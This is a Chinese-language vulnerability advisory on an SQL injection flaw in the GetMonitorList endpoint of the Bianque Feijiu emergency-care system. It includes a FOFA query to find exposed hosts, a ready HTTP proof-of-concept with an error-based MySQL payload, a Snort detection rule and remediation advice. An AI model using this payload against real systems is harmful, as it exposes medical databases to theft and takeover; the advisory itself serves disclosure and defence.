

扁鹊飞救智能急救与质控系统--GetMonitorList-sql注入

扁鹊飞救智能急救与质控系统--GetMonitorList-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

扁鹊飞救智能急救与质控系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-757866684" || icon_hash="-1206146847"

POC/EXP:

```
GET /AppService/BQMedical/WebServiceForFirstaidApp.asmx/GetMonitorList?
UserID=1&OperatorID=1&SearchName=string%27%26%26+updatexml(1,CONCAT_WS(0x71706b76
71,1,0x71716a7071),1)+%26%26%27 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.5060.66 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"BianQue FirstAid - MySQL Error-Based SQLi in GetMonitorList";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/AppService/BQMedical/webServiceForFirstaidApp.asmx/GetMonitorList";
  http_uri;
  content:"SearchName="; http_uri;
  pcre:"/SearchName=[^&]*'[\s\S]*?(updatexml|extractvalue)\([^\)]*CONCAT_WS?\(
  /i";
  metadata:service http;
  metadata:affected_product "扁鹊飞救智能急救与质控系统";
  metadata:vulnerability_type "MySQL Error-Based SQL Injection";
  classtype:sql-injection;
  sid:1000260;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。